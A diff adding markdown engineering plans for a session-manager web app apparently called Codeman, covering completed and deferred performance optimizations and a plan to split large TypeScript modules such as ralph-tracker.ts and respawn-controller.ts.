+| R7 | Lazy xterm.js for minimized subagents | `subagent-windows.js` |
+| R11 | Reduce Enter delay to 50ms | `app.js` (872-875), test with Ink |
+| R14 | TranscriptWatcher 2s poll | `transcript-watcher.ts` |
+| R16 | Content-hash asset filenames | `build.mjs`, `server.ts` |
+
+### Phase 3 — Larger Initiatives (1-2 days each)
+| # | Optimization | Files to Change |
+|---|-------------|-----------------|
+| R1 | Session-scoped SSE subscriptions | `server.ts`, `app.js` (SSE connect) |
+| R5 | Lazy Unicode11Addon loading | `app.js`, build pipeline |
+| R12 | Persistent tmux control mode | `tmux-manager.ts` |
+| R17 | Code-split app.js | `app.js`, `build.mjs`, HTML template |
+
+### Not Recommended (Low ROI or High Risk)
+| # | Why Not |
+|---|---------|
+| R4 | Dynamic scrollback adds complexity; memory savings marginal vs total budget |
+| R9 | Adaptive pending data cap adds state; current 64KB cap rarely matters |
+| R10 | LRUMap.delete() O(n) is theoretical; never triggered at current scale |
+| R15 | Shared chokidar instances add directory-matching complexity for minimal gain |

+# Performance & Responsiveness Optimization Plan
+
+**Date**: 2026-02-28
+**Status**: Phases 1–4 Complete. Phase 5 optional/deferred.
+
+---
+
+## Executive Summary
+
+Three independent research passes analyzed the Codeman codebase for performance bottlenecks across frontend rendering, backend hot paths, and system-level resource usage. The codebase already has strong foundational optimizations (per-session adaptive batching, rAF terminal writes, DEC 2026 sync markers, backpressure handling). This plan targets the remaining high-impact opportunities.
+
+**Key finding**: The biggest wins come from **skipping unnecessary work** — serializing unchanged state, processing output nobody is watching, and reducing broadcast volume.
+
+---
+
+## Phase 1: Quick Wins — COMPLETE
+
+All Phase 1 items were found to already exist in the codebase during verification:
+
+| # | Item | Status | Evidence |
+|---|------|--------|----------|
+| 1.1 | Skip terminal writes for hidden tabs | Done | SSE handler filters by `activeSessionId` (app.js:4076) |
+| 1.2 | mobile.css media query | Done | `media="(max-width: 1023px)"` on link tag (index.html:13) |
+| 1.3 | Deduplicate init API calls | Done | `_initGeneration` dedup + 3s fallback timer (app.js:2901-2904) |
+| 1.4 | Remove cache-busting timestamps | Done | No `?_t=` patterns found anywhere |
+| 1.5 | JS/CSS minification + compression | Done | esbuild minify + gzip + brotli in build.mjs (lines 42-51) |
+
+---
+
+## Phase 2: Frontend Responsiveness — COMPLETE
+
+### 2.1 Batch `getBoundingClientRect()` in connection lines — DONE
+- **Files**: `src/web/public/app.js` (`_updateConnectionLinesImmediate()`)
+- **Change**: Refactored to batch all layout reads into Phase 1 (collect all rects into a Map), then perform all SVG writes in Phase 2 using cached values. Classic read-then-write pattern prevents interleaved forced reflows.
+
+### 2.2 Clean up ResizeObservers — Already implemented
+- `forceCloseSubagentWindow()` disconnects observers (app.js:12618-12620)
+- `cleanupAllFloatingWindows()` disconnects all on reconnect (app.js:12649-12653)
+- Observer refs stored on `windowData.resizeObserver` (app.js:12492)
+
+### 2.3 Drag handler cleanup — Already implemented
+- `makeWindowDraggable()` returns listener refs, stored in `windowData.dragListeners`
+- `forceCloseSubagentWindow()` removes all document-level drag listeners (app.js:12622-12630)
+- Panel drags add listeners on mousedown, remove on mouseup (app.js:10253-10284)
+
+### 2.4 Mobile window position cache — Skipped
+- O(n) loop over max ~20 windows; complexity of cached counter not justified
+
+### 2.5 Lazy modal DOM — Skipped
+- Large effort, marginal benefit for a vanilla JS app with fast DOM construction
+
+---
+
+## Phase 3: Backend Hot Paths — COMPLETE
+
+### 3.1 State diff broadcasts — ALREADY OPTIMIZED
+- `broadcastSessionStateDebounced()` already batches at 500ms intervals
+- `toLightDetailedState()` excludes heavy buffers (textOutput, terminalBuffer)
+- Per-session serialization is <1ms; with debouncing, only 1-3 sessions serialize per flush
+- JSON.stringify happens once per broadcast (not per client) — serialization cost is negligible
+- Full state diffs would add significant frontend complexity for marginal gain
+
+### 3.2 Improve session list cache hit rate — DONE
+- **Files**: `src/web/server.ts` (`broadcast()` method)
+- **Change**: Cache now only invalidated on truly structural events (`session:created`, `session:deleted`, `session:updated`) instead of on every `session:*` and `respawn:*` event. High-frequency events like `session:working`, `session:idle`, `session:completion`, `respawn:stateChanged` no longer defeat the 1s TTL cache.
+- **Impact**: Cache hit ratio from ~0% to ~80%+ during active sessions. The debounced `session:updated` still refreshes the cache within 500ms of any state change.
+
+### 3.3 Skip PTY processing — ALREADY OPTIMIZED
+- `_processExpensiveParsers()` is already throttled to every 150ms (not per-chunk)
+- Lazy ANSI stripping via `getCleanData()` closure — only computed when a consumer needs it
+- Quick pre-checks skip parsers when content is irrelevant (e.g., token parser only runs if data contains "token")
+- OpenCode sessions skip all Claude-specific parsers entirely
+- Further optimization would require visibility-aware processing, adding complexity for marginal gain
+
+### 3.4 Batch subagent liveness checks — Deferred
+- `/proc/{pid}` stat calls are ~0.1ms each; even with 500 agents, total is 50ms every 10s
+- Current approach is simple and reliable; batching adds race condition risk
+- Consider only if profiling shows this as a bottleneck
+
+### 3.5 Deduplicate detection update emissions — DONE
+- **Files**: `src/respawn-controller.ts` (`startDetectionUpdates()`)
+- **Change**: Detection status now only emitted when key fields (confidenceLevel, statusText, controller state) actually change. Previously emitted every 2s regardless, broadcasting identical status to all SSE clients.
+- **Impact**: For stable/idle sessions, eliminates ~100% of redundant detection broadcasts. For active sessions, reduces broadcasts to only meaningful state transitions.
+
+---
+
+## Phase 4: System-Level Improvements — COMPLETE
+
+### 4.1 Incremental state persistence — DONE
+- **Files**: `src/state-store.ts` (`assembleStateJson()`, `setSession()`)
+- **Change**: Added `dirtySessions` Set and `cachedSessionJsons` Map. On persist, only dirty sessions are re-serialized; clean sessions reuse cached JSON fragments. `setSession()` marks sessions dirty; `assembleStateJson()` rebuilds only changed fragments.
+- **Impact**: Serialization cost reduced from O(all sessions) to O(dirty sessions). Typical steady-state: 1-2 dirty sessions instead of 50.
+
+### 4.2 Replace polling with fs watchers for team watcher — DONE
+- **Files**: `src/team-watcher.ts` (`setupFsWatchers()`)
+- **Change**: Added chokidar watchers on both `~/.claude/teams/` and `~/.claude/tasks/` directories for instant event-driven detection. Lock files ignored via chokidar config. Mtime-based dedup skips unchanged files. Polling interval relaxed from 5s to 30s as a fallback.
+- **Impact**: Near-instant team detection; polling overhead eliminated for normal operation.
+
+### 4.3 Consolidate subagent file watchers — DONE
+- **Files**: `src/subagent-watcher.ts` (`setupDirectoryWatcher()`)
+- **Change**: Replaced per-agent chokidar watchers with one `fs.watch()` per session subagent directory. Events are routed to the correct agent via filename. Per-file debouncing (100ms) prevents hammering on bulk discovery.
+- **Impact**: Inotify watchers reduced from potentially 500 (one per agent) to ~50 (one per session directory).
+
+### 4.4 Stream transcript files instead of full reads — DONE
+- **Files**: `src/subagent-watcher.ts` (`tailFile()`, `findDescriptionInAgentFile()`, parent transcript lookup)
+- **Change**: Multiple streaming strategies implemented:
+  - **Live monitoring**: Position-based `tailFile()` with `createReadStream({ start: fromPosition })` — only reads new content
+  - **Parent transcript lookup**: Streams only last 16KB (`createReadStream({ start: offset })`)
+  - **Description extraction**: Streams only first 8KB, exits early after 5 lines
+  - **Full read**: Only for on-demand transcript review panel (with optional `limit` parameter)
+- **Impact**: File I/O for bulk agent discovery reduced from ~50MB to ~5MB.
+
+---
+
+## Phase 5: Long-Term Architectural (Optional) — NOT STARTED
+
+These items are deferred until scaling demands justify the complexity.
+
+### 5.1 Worker thread for PTY processing
+- **Files**: `src/session.ts`
+- **Problem**: ANSI stripping, Ralph tracking, and bash tool parsing all run on the main event loop. At scale (50 busy sessions), this consumes 300-500ms CPU/sec.
+- **Fix**: Offload ANSI strip + line processing to a worker thread pool. Main thread receives clean text + parsed events.
+- **Impact**: Frees event loop for I/O operations. Most impactful at 10+ concurrent busy sessions.
+
+### 5.2 Per-session SSE subscriptions
+- **Files**: `src/web/server.ts`
+- **Problem**: Every SSE event is broadcast to all connected clients. A client watching session A still receives events for sessions B through Z.
+- **Fix**: Clients subscribe to specific session IDs. Server only sends events to interested clients.
+- **Impact**: Reduces SSE broadcast fan-out from N clients to ~1-2 per event. Major improvement at 100 SSE clients.
+
+### 5.3 O(1) LRUMap via doubly-linked list
+- **Files**: `src/utils/lru-map.ts` (~lines 98-110)
+- **Problem**: `get()` uses delete + re-insert to refresh position — O(n) on Map iteration for delete.
+- **Fix**: Implement classic LRU with doubly-linked list + Map for O(1) get/put/evict.
+- **Impact**: Low — current sizes (max 500) make this barely measurable. Only worthwhile if LRUMap is used on hot paths.
+
+---
+
+## Completion Summary
+
+| Phase | Scope | Status | Items |
+|-------|-------|--------|-------|
+| 1 | Quick Wins | **Complete** | 5/5 (all pre-existing) |
+| 2 | Frontend Responsiveness | **Complete** | 3/3 actionable done, 2 skipped |
+| 3 | Backend Hot Paths | **Complete** | 4/4 actionable done, 1 deferred |
+| 4 | System-Level | **Complete** | 4/4 done |
+| 5 | Long-Term Architectural | **Not started** | 0/3 — deferred until needed |
+
+**Overall**: 16/16 actionable items complete. 3 optional items deferred.
+
+---
+
+## Measurement
+
+Before starting Phase 5, establish baselines:
+
+1. **Frontend**: Record Chrome DevTools Performance trace with 10 sessions open. Measure:
+   - Frame rate during rapid terminal output
+   - Long tasks (>50ms) count per 30s
+   - Heap size after 1h session
+
+2. **Backend**: Add `performance.now()` instrumentation around:
+   - `flushSessionTerminalBatch()` — time per flush
+   - `broadcastSessionStateDebounced()` — serialization time
+   - `StateStore.save()` — persist time
+   - Event loop lag via `monitorEventLoopDelay()`
+
+3. **First load**: Lighthouse score on desktop and mobile (simulated 3G)

+# Codeman Performance Optimization Plan
+
+## Current State
+
+The backend is **already production-grade** — SSE broadcasting, state persistence, terminal batching, buffer management, and memory patterns are all well-optimized. The biggest gains are on the **frontend delivery** side.
+
+## Implemented Optimizations
+
+### 1. V8 Compile Cache (10-20% faster cold start)
+
+**Files:** `scripts/codeman-web.service`, `package.json`
+
+Node.js re-parses and compiles all JS on every cold start. `NODE_COMPILE_CACHE` caches V8 compiled bytecode to disk, reusing it on subsequent starts.
+
+- Added `Environment=NODE_COMPILE_CACHE=/home/arkon/.codeman/compile-cache` to systemd service
+- Added to `npm start` script for non-systemd usage
+- Zero code changes, immediate win on every restart
+
+### 2. WebGL Addon Lazy-Loading (244KB saved on mobile, non-blocking on desktop)
+
+**Files:** `src/web/public/index.html`, `src/web/public/app.js`
+
+`xterm-addon-webgl.min.js` (244KB) was loaded eagerly for all users via `<script defer>`, but only used on desktop with WebGL2 support.
+
+- Removed `<script defer>` from `index.html`
+- Added dynamic script loading in `app.js` — only downloads on desktop when WebGL is needed
+- Mobile users never download the file at all (244KB saved)
+- Desktop: loads in parallel with page rendering, addon initializes when ready
+- Graceful fallback: canvas renderer used if WebGL unavailable or script fails
+
+### 3. Preload Hints (~50-100ms faster perceived load)
+
+**Files:** `src/web/public/index.html`
+
+Browser discovers `<script defer>` tags only when the parser reaches them at the bottom of `<body>`. By then, the HTML parse has blocked for hundreds of lines.
+
+- Added `<link rel="preload" as="script">` in `<head>` for `vendor/xterm.min.js`, `constants.js`, `app.js`
+- Browser starts fetching critical scripts immediately during HTML parse (before reaching `<body>`)
+- Zero runtime overhead — just hints for the browser's preload scanner
+
+### 4. Batch Tmux Reconciliation (N subprocess calls → 1)
+
+**Files:** `src/tmux-manager.ts`
+
+`reconcileSessions()` previously called `tmux has-session` + `tmux display-message` per known session, plus `tmux list-sessions` for discovery, plus `tmux display-message` per discovered session. With 20 sessions: 41+ subprocess calls.
+
+- Replaced with single `tmux list-panes -a -F '#{session_name}\t#{pane_pid}'` call
+- Builds a Map from the result, then does O(1) lookups for both known and discovered sessions
+- Also replaced inner O(n) `isKnown` scan with a Set lookup
+- 20 sessions: 41 subprocess calls → 1, with faster lookups
+
+### 5. Asset Hashing / Cache Busting (already implemented)
+
+**Files:** `scripts/build.mjs` (pre-existing)
+
+Content-hash cache busting was already implemented in the build script:
+- All app JS/CSS files get content hashes (`app.abc123.js`)
+- `index.html` rewritten to reference hashed filenames
+- Pre-compressed with gzip + Brotli
+- 1-year immutable cache works correctly — new deploys get new filenames
+
+## Already Optimized (No Action Needed)
+
+| Area | Why It's Fine |
+|------|---------------|
+| **SSE Broadcasting** | Single serialization per broadcast, preformatted frames, backpressure handling, session subscription filtering |
+| **State Persistence** | 500ms debounce, incremental per-session JSON caching, async atomic writes, circuit breaker on failures |
+| **Terminal Batching** | Adaptive intervals (16-50ms), per-session queues, immediate flush at 32KB, array-based accumulation |
+| **Buffer Management** | BufferAccumulator (array-push, lazy join), auto-trim at 2MB/1MB, no string concatenation in hot paths |
+| **ANSI Stripping** | Pre-compiled regex via factory functions, single-pass processing |
+| **Static File Serving** | @fastify/static with 1-year cache, pre-compressed Brotli/gzip, no-cache for HTML |
+| **Memory Management** | CleanupManager, LRUMap, StaleExpirationMap, bounded buffers, explicit listener cleanup |
+| **Import Patterns** | Pure ESM, lazy web server import, no circular deps, no dynamic imports in hot paths |
+| **Config Loading** | Small constant files, no I/O at import time, specific imports (no barrel) |

+
+### Steps
+
+1. **Create `src/types/` directory** and each domain file above.
+
+2. **Move types** from `src/types.ts` into their domain files. Preserve all JSDoc comments. Each file should import from siblings as needed (e.g., `ralph.ts` imports `CircuitBreakerState` within itself — no cross-file deps needed since they're in the same file).
+
+3. **Create barrel `src/types/index.ts`** that re-exports everything:
+   ```typescript
+   export * from './common.js';
+   export * from './session.js';
+   export * from './task.js';
+   export * from './app-state.js';
+   export * from './respawn.js';
+   export * from './ralph.js';
+   export * from './api.js';
+   export * from './lifecycle.js';
+   export * from './run-summary.js';
+   export * from './tools.js';
+   export * from './teams.js';
+   export * from './push.js';
+   export * from './plan.js';
+   ```
+
+4. **Delete old `src/types.ts`** and replace with a single-line re-export barrel:
+   ```typescript
+   export * from './types/index.js';
+   ```
+   This ensures `import { ... } from './types.js'` continues to work everywhere — zero changes to 36 import sites.
+
+5. **Verify**: `tsc --noEmit` and `npm run lint` must pass. No runtime changes.
+
+### Internal Dependencies Between Domain Files
+
+Some types reference others across domains. Handle with imports:
+
+| File | Imports From |
+|------|-------------|
+| `app-state.ts` | `session.ts` (SessionState), `task.ts` (TaskState), `ralph.ts` (RalphLoopState, RalphSessionState) |
+| `respawn.ts` | None (self-contained) |
+| `ralph.ts` | None (self-contained) |
+| `run-summary.ts` | None (self-contained) |
+| `api.ts` | None (self-contained) |
+| `session.ts` | `respawn.ts` (RespawnConfig), `ralph.ts` (RalphTrackerState, RalphTodoItem, CircuitBreakerStatus, RalphSessionState, RunSummaryEvent) |
+
+Wait — `SessionState` references `RespawnConfig`, `RalphTrackerState`, `CircuitBreakerStatus`, and `RunSummaryEvent`. This creates imports from `session.ts` → `respawn.ts`, `ralph.ts`, `run-summary.ts`. This is fine (one-way deps, no cycles).
+
+---
+
+## 2. Split ralph-tracker.ts into focused modules
+
+**Current**: 3,868 lines, single `RalphTracker` class with 5 responsibilities.
+**Risk**: MEDIUM — class has shared mutable state, but extractable modules are well-isolated.
+
+### Coupling Analysis Summary
+
+| Module | Coupling | Extractability |
+|--------|----------|----------------|
+| Plan task tracking | LOW | HIGH — only reads `cycleCount` |
+| Fix-plan file watching | LOW | HIGH — callback-based todo replacement |
+| Iteration stall detection | LOW | HIGH — notification-based |
+| RALPH_STATUS block parsing + circuit breaker | MEDIUM | MEDIUM — callback for circuit breaker updates |
+| Todo parsing, loop detection, completion | HIGH | LOW — deeply entangled shared state |
+
+### Target Structure
+
+```
+src/
+├── ralph-tracker.ts              (~1,800 LOC — core: output parsing, loop state,
+│                                   todo management, completion detection)
+├── ralph-plan-tracker.ts         (~600 LOC — plan tasks, checkpoints, history, rollback)
+├── ralph-status-parser.ts        (~300 LOC — RALPH_STATUS block parsing, circuit breaker)
+├── ralph-fix-plan-watcher.ts     (~150 LOC — @fix_plan.md file watching)
+└── ralph-stall-detector.ts       (~80 LOC — iteration stall detection)
+```
+
+### Step 2a: Extract `RalphPlanTracker` (~600 LOC)
+
+**Why first**: Lowest coupling. Only dependency is `cycleCount` for checkpoint detection.
+
+**Extract these from `RalphTracker`**:
+
+Types to export:
+- `EnhancedPlanTask` (interface, currently lines 56-87)
+- `CheckpointReview` (interface, currently lines 90-139)
+
+Properties to move:
+- `_planVersion: number`
+- `_planHistory: Array<{version, timestamp, tasks, summary}>`
+- `_planTasks: Map<string, EnhancedPlanTask>`
+- `_checkpointIterations: number[]`
+- `_lastCheckpointIteration: number`
+
+Methods to move:
+- `initializePlanTasks(items)`
+- `updatePlanTask(taskId, update)`
+- `addPlanTask(params)`
+- `getPlanTasks()`
+- `generateCheckpointReview()`
+- `getPlanHistory()`
+- `rollbackToVersion(version)`
+- `isCheckpointDue()`
+- `planVersion` getter
+- `_savePlanToHistory()` (private)
+- `_unblockDependentTasks()` (private)
+- `_checkForCheckpoint()` (private)
+
+Events emitted (define in new class):
+- `planInitialized`
+- `planTaskUpdate`
+- `taskBlocked`
+- `taskUnblocked`
+- `planCheckpoint`
+
+**Interface with parent**:
+```typescript
+export class RalphPlanTracker extends EventEmitter {
+  constructor() { ... }
+
+  // Parent calls this when iteration changes (for checkpoint detection)
+  notifyCycleCount(cycleCount: number): void { ... }
+
+  // Full public API moves here unchanged
+  initializePlanTasks(items: PlanItem[]): void { ... }
+  updatePlanTask(taskId: string, update: { ... }): { ... } | null { ... }
+  // ...etc
+}
+```
+
+**In `RalphTracker`**: Replace plan methods with delegation:
+```typescript
+readonly planTracker = new RalphPlanTracker();
+
+// Forward plan events
+this.planTracker.on('planInitialized', (...args) => this.emit('planInitialized', ...args));
+// ...etc
+
+// In detectLoopStatus(), when cycleCount changes:
+this.planTracker.notifyCycleCount(this._loopState.cycleCount);
+```
+
+### Step 2b: Extract `RalphFixPlanWatcher` (~150 LOC)
+
+**Extract these**:
+
+Properties:
+- `_workingDir: string | null`
+- `_fixPlanPath: string | null`
+- `_fixPlanWatcher: FSWatcher | null`
+- `_fixPlanWatcherErrorHandler`
+- `_fixPlanReloadDeb`
+
+Methods:
+- `setWorkingDir(workingDir)`
+- `loadFixPlanFromDisk()`
+- `startWatchingFixPlan()`
+- `stopWatchingFixPlan()`
+- `handleFixPlanChange()`
+- `isFileAuthoritative` getter
+
+**Interface with parent**:
+```typescript
+export class RalphFixPlanWatcher extends EventEmitter {
+  get isFileAuthoritative(): boolean { ... }
+
+  setWorkingDir(workingDir: string): void { ... }
+  stop(): void { ... }
+}
+
+// Events:
+// 'todosLoaded' → (todos: Array<{id, content, status, priority}>) — parent replaces _todos
+```
+
+**In `RalphTracker`**:
+```typescript
+readonly fixPlanWatcher = new RalphFixPlanWatcher();
+
+constructor() {
+  this.fixPlanWatcher.on('todosLoaded', (items) => {
+    // Replace _todos with file-based items
+    this._todos.clear();
+    for (const item of items) {
+      this.addOrUpdateTodo(item.id, item.content, item.status, item.priority);
+    }
+  });
+}
+
+// Delegate isFileAuthoritative
+get isFileAuthoritative(): boolean {
+  return this.fixPlanWatcher.isFileAuthoritative;
+}
+```
+
+### Step 2c: Extract `RalphStallDetector` (~80 LOC)
+
+**Extract these**:
+
+Properties:
+- `_lastIterationChangeTime`
+- `_lastObservedIteration`
+- `_iterationStallTimerId`
+- `_iterationStallWarningMs`
+- `_iterationStallCriticalMs`
+- `_iterationStallWarned`
+
+Methods:
+- `startIterationStallDetection()`
+- `stopIterationStallDetection()`
+- `checkIterationStall()`
+- `getIterationStallMetrics()`
+- `configureIterationStallThresholds(warningMs, criticalMs)`
+
+**Interface with parent**:
+```typescript
+export class RalphStallDetector extends EventEmitter {
+  constructor(private cleanup: CleanupManager) { ... }
+
+  start(): void { ... }
+  stop(): void { ... }
+
+  // Parent calls when iteration changes
+  notifyIterationChanged(iteration: number): void {
+    this._lastIterationChangeTime = Date.now();
+    this._lastObservedIteration = iteration;
+    this._iterationStallWarned = false;
+  }
+
+  // Parent calls to check if loop is active
+  setLoopActive(active: boolean): void { ... }
+
+  getIterationStallMetrics(): { ... } { ... }
+}
+
+// Events: 'iterationStallWarning', 'iterationStallCritical'
+```
+
+### Step 2d: Extract `RalphStatusParser` (~300 LOC)
+
+**Extract these**:
+
+Properties:
+- `_circuitBreaker: CircuitBreakerStatus`
+- `_statusBlockBuffer: string[]`
+- `_inStatusBlock: boolean`
+- `_lastStatusBlock: RalphStatusBlock | null`
+- `_completionIndicators: number`
+- `_exitGateMet: boolean`
+- `_totalFilesModified: number`
+- `_totalTasksCompleted: number`
+
+Methods:
+- `processStatusBlockLine(line)`
+- `parseStatusBlock(lines)`
+- `detectCompletionIndicators(line)`
+- `updateCircuitBreaker(hasProgress, testsStatus, status)`
+- `resetCircuitBreaker()`
+- `circuitBreakerStatus` getter
+- `lastStatusBlock` getter
+- `cumulativeStats` getter
+- `exitGateMet` getter
+
+Regex patterns to move:
+- `RALPH_STATUS_START_PATTERN` through `RALPH_RECOMMENDATION_PATTERN`
+- `COMPLETION_INDICATOR_PATTERNS`
+
+**Interface with parent**:
+```typescript
+export class RalphStatusParser extends EventEmitter {
+  processLine(line: string): void { ... }  // calls processStatusBlockLine + detectCompletionIndicators
+
+  get circuitBreakerStatus(): CircuitBreakerStatus { ... }
+  get lastStatusBlock(): RalphStatusBlock | null { ... }
+  get exitGateMet(): boolean { ... }
+  get cumulativeStats(): { ... } { ... }
+
+  resetCircuitBreaker(): void { ... }
+  reset(): void { ... }
+}
+
+// Events: 'statusBlockDetected', 'circuitBreakerUpdate', 'exitGateMet'
+```
+
+**In `RalphTracker.processLine()`**:
+```typescript
+// Replace inline status block handling with delegation
+this.statusParser.processLine(line);
+```
+
+### Step 2e: Keep in `ralph-tracker.ts` (~1,800 LOC)
+
+The core remains tightly coupled and stays together:
+- Output parsing pipeline (`processTerminalData`, `processCleanData`, `processLine`)
+- Loop state management (`_loopState`, `detectLoopStatus`, `enable/disable/startLoop/stopLoop`)
+- Todo management (`_todos`, `detectTodoItems`, `addOrUpdateTodo`, `updateTodoStatus`, `getTodoStats`)
+- Completion detection (`detectCompletionPhrase`, `handleCompletionPhrase`, `calculateCompletionConfidence`)
+- All-tasks-complete detection (`detectAllTasksComplete`)
+- Auto-enable logic (`shouldAutoEnable`)
+- Lifecycle (`reset`, `fullReset`, `clear`, `restoreState`, `destroy`)
+- Event debouncing and buffering
+
+The class coordinates the extracted modules via composition:
+```typescript
+export class RalphTracker extends EventEmitter {
+  readonly planTracker = new RalphPlanTracker();
+  readonly fixPlanWatcher = new RalphFixPlanWatcher();
+  readonly stallDetector: RalphStallDetector;
+  readonly statusParser = new RalphStatusParser();
+
+  constructor() {
+    super();
+    this.stallDetector = new RalphStallDetector(this.cleanup);
+    this._wireSubModuleEvents();
+  }
+
+  private _wireSubModuleEvents(): void {
+    // Forward all sub-module events through RalphTracker
+    // so external consumers don't need to know about the split
+    for (const event of ['planInitialized', 'planTaskUpdate', ...]) {
+      this.planTracker.on(event, (...args) => this.emit(event, ...args));
+    }
+    // ...same for statusParser, stallDetector, fixPlanWatcher
+  }
+}
+```
+
+### Migration Safety
+
+- All events continue to be emitted from `RalphTracker` (forwarded from sub-modules)
+- All public methods stay on `RalphTracker` (delegated to sub-modules)
+- External consumers (`session.ts`, `case-routes.ts`) see zero API changes
+- New sub-modules are exposed as `readonly` properties for direct access where needed

+
+## 3. Split respawn-controller.ts into focused modules
+
+**Current**: 3,611 lines, single `RespawnController` class with 6 responsibilities.
+**Risk**: MEDIUM — health scoring and metrics are cleanly decoupled; detection is tightly coupled.
+
+### Coupling Analysis Summary
+
+| Module | Coupling | Extractability |
+|--------|----------|----------------|
+| Health scoring | NONE | HIGH — pure calculations from metrics |
+| Cycle metrics | LOW | HIGH — standalone tracking |
+| Adaptive timing | LOW | HIGH — standalone timing adjustments |
+| Stuck-state detection | LOW | MEDIUM — needs state + config refs |
+| Pattern detection utilities | NONE | HIGH — pure functions |
+| State machine + idle detection + AI checkers | HIGH | LOW — deeply entangled |
+
+### Target Structure
+
+```
+src/
+├── respawn-controller.ts             (~2,200 LOC — state machine, idle detection,
+│                                       AI checkers, terminal handling, hook signals,
+│                                       auto-accept, step execution)
+├── respawn-health.ts                 (~250 LOC — health scoring + recommendations)
+├── respawn-metrics.ts                (~200 LOC — cycle metrics + aggregate stats)
+├── respawn-adaptive-timing.ts        (~100 LOC — adaptive timing with percentile calc)
+└── respawn-patterns.ts               (~50 LOC — terminal pattern detection utilities)
+```
+
+### Step 3a: Extract `RespawnPatterns` (~50 LOC)
+
+**Pure utility functions, zero coupling**.
+
+Move:
+- `isCompletionMessage(data): boolean`
+- `hasWorkingPattern(data, window): boolean`
+- `extractTokenCount(data): number | null`
+- `PROMPT_PATTERNS` array
+- `WORKING_PATTERNS` array
+
+```typescript
+// src/respawn-patterns.ts
+import { TOKEN_PATTERN, SPINNER_PATTERN } from './utils/index.js';
+
+export const PROMPT_PATTERNS = ['❯', '>', '$', '%', '#'];
+
+export const WORKING_PATTERNS = [/* 70+ patterns */];
+
+export function isCompletionMessage(data: string): boolean { ... }
+export function hasWorkingPattern(data: string, window: string): boolean { ... }
+export function extractTokenCount(data: string): number | null { ... }
+```
+
+**In `RespawnController`**: Import and call:
+```typescript
+import { isCompletionMessage, hasWorkingPattern, extractTokenCount } from './respawn-patterns.js';
+```
+
+### Step 3b: Extract `RespawnAdaptiveTiming` (~100 LOC)
+
+**Self-contained timing controller**.
+
+Move properties:
+- `timingHistory: TimingHistory`
+
+Move methods:
+- `recordTimingData(idleDetectionMs, cycleDurationMs)`
+- `updateAdaptiveTiming()`
+- `getTimingHistory()`
+- `getAdaptiveCompletionConfirmMs()`
+
+```typescript
+export class RespawnAdaptiveTiming {
+  private timingHistory: TimingHistory;
+
+  constructor(private config: { adaptiveMinConfirmMs: number; adaptiveMaxConfirmMs: number }) {
+    this.timingHistory = { recentIdleDetectionMs: [], recentCycleDurationMs: [], ... };
+  }
+
+  recordTimingData(idleDetectionMs: number, cycleDurationMs: number): void { ... }
+  getAdaptiveCompletionConfirmMs(): number { ... }
+  getTimingHistory(): TimingHistory { ... }
+  reset(): void { ... }
+}
+```
+
+### Step 3c: Extract `RespawnCycleMetrics` (~200 LOC)
+
+**Standalone metrics tracker**.
+
+Move properties:
+- `currentCycleMetrics`
+- `recentCycleMetrics[]`
+- `aggregateMetrics`
+- `MAX_CYCLE_METRICS_IN_MEMORY`
+
+Move methods:
+- `startCycleMetrics(idleReason)`
+- `recordCycleStep(step)`
+- `completeCycleMetrics(outcome, errorMessage?)`
+- `updateAggregateMetrics(metrics)`
+- `getAggregateMetrics()`
+- `getRecentCycleMetrics(limit?)`
+
+```typescript
+export class RespawnCycleMetricsTracker {
+  private currentCycleMetrics: Partial<RespawnCycleMetrics> | null = null;
+  private recentCycleMetrics: RespawnCycleMetrics[] = [];
+  private aggregateMetrics: RespawnAggregateMetrics;
+
+  startCycle(sessionId: string, cycleNumber: number, idleReason: string): void { ... }
+  recordStep(step: string): void { ... }
+  completeCycle(outcome: CycleOutcome, errorMessage?: string): RespawnCycleMetrics | null { ... }
+  getAggregate(): RespawnAggregateMetrics { ... }
+  getRecent(limit?: number): RespawnCycleMetrics[] { ... }
+  reset(): void { ... }
+}
+```
+
+**Callback**: `completeCycle()` returns the completed metrics so the controller can pass them to `adaptiveTiming.recordTimingData()`.
+
+### Step 3d: Extract `RespawnHealthCalculator` (~250 LOC)
+
+**Pure calculation — no state of its own**.
+
+Move methods:
+- `calculateHealthScore()`
+- `calculateCycleSuccessScore()`
+- `calculateCircuitBreakerScore()`
+- `calculateIterationProgressScore()`
+- `calculateAiCheckerScore()`
+- `calculateStuckRecoveryScore()`
+- `generateHealthRecommendations(components)`
+- `generateHealthSummary(score, status, components)`
+- `shouldSkipClear()` (belongs here since it's a pure calculation on token/config)
+
+```typescript
+export interface HealthInputs {
+  aggregateMetrics: RespawnAggregateMetrics;
+  circuitBreakerStatus: CircuitBreakerStatus;
+  iterationStallMetrics: { stallDurationMs: number; warningMs: number; criticalMs: number } | null;
+  aiCheckerState: { disabled: boolean; inCooldown: boolean; hasErrors: boolean };
+  stuckRecoveryCount: number;
+  maxStuckRecoveries: number;
+}
+
+export function calculateHealthScore(inputs: HealthInputs): RalphLoopHealthScore { ... }
+
+export function shouldSkipClear(
+  lastTokenCount: number,
+  skipClearThresholdPercent: number,
+  maxContextTokens: number
+): boolean { ... }
+```
+
+**Made as pure functions** (not a class) since they hold no state.
+
+### Step 3e: Keep in `respawn-controller.ts` (~2,200 LOC)
+
+The core state machine, idle detection, and AI checker integration stays:
+- State machine transitions (`setState`, `start`, `stop`, `pause`, `resume`)
+- Terminal data handling (`handleTerminalData`)
+- All 5 idle detection layers + hook signals
+- AI checker integration (`tryStartAiCheck`, `startAiCheck`, `startPlanCheck`)
+- Auto-accept logic
+- Step execution (`sendUpdateDocs`, `sendClear`, `sendInit`, `sendKickstart`)
+- Timer management (`startTrackedTimer`, `cancelTrackedTimer`)
+- Stuck-state detection and recovery
+- Action logging
+
+The class composes extracted modules:
+```typescript
+import { RespawnAdaptiveTiming } from './respawn-adaptive-timing.js';
+import { RespawnCycleMetricsTracker } from './respawn-metrics.js';
+import { calculateHealthScore, shouldSkipClear } from './respawn-health.js';
+import { isCompletionMessage, hasWorkingPattern, extractTokenCount } from './respawn-patterns.js';
+
+export class RespawnController extends EventEmitter {
+  private adaptiveTiming: RespawnAdaptiveTiming;
+  private cycleMetrics: RespawnCycleMetricsTracker;
+
+  calculateHealthScore(): RalphLoopHealthScore {
+    return calculateHealthScore({
+      aggregateMetrics: this.cycleMetrics.getAggregate(),
+      circuitBreakerStatus: this.session.ralphTracker.circuitBreakerStatus,
+      iterationStallMetrics: this.session.ralphTracker.getIterationStallMetrics(),
+      aiCheckerState: { ... },
+      stuckRecoveryCount: this.stuckRecoveryCount,
+      maxStuckRecoveries: this.config.maxStuckRecoveries ?? 3,
+    });
+  }
+}
+```

+```
+
